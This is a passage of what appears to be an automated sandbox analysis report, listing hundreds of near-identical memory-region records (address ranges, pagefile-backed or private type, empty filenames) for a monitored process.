start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8909 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8910 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8911 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8912 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8913 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8914 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8915 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8916 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8917 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8918 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8919 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8920 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8921 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8922 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8923 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8924 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8925 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8926 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8927 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8928 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8929 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8930 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8931 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8932 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8933 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8934 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8935 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8936 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8937 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8938 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8939 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8940 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8941 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8942 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8943 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8944 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8945 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8946 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8947 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8948 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8949 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8950 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8951 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8952 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8953 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8954 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8955 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8956 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8957 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8958 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8959 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8960 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8961 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8962 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8963 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8964 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8965 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8966 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8967 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8968 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8969 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8970 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 8971 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 8972 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 8973 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8974 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8975 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8976 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8977 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8978 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8979 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8980 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8981 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8982 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8983 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8984 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8985 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8986 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8987 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8988 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8989 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8990 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8991 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8992 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8993 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8994 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8995 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8996 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8997 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8998 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 8999 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9000 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9001 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9002 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9003 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9004 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9005 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9006 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9007 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9008 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9009 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9010 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9011 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9012 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9013 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9014 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9015 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9016 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9017 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9018 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9019 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9020 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9021 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9022 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9023 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9024 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9025 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9026 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9027 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9028 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9029 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9030 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9031 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9032 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9033 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9034 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9035 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9036 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9037 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9038 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9039 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9040 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9041 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9042 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9043 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9044 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9045 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9046 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9047 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9048 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9049 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9050 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9051 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9052 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9053 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9054 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9055 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9056 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9057 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9058 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9059 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9060 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9061 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9062 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9063 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9064 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9065 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9066 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9067 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9068 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9069 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9070 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9071 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9072 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9073 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9074 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9075 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9076 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9077 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9078 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9079 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 9080 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9081 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9082 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9083 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9084 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9085 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9086 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9087 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9088 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9089 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9090 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9091 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 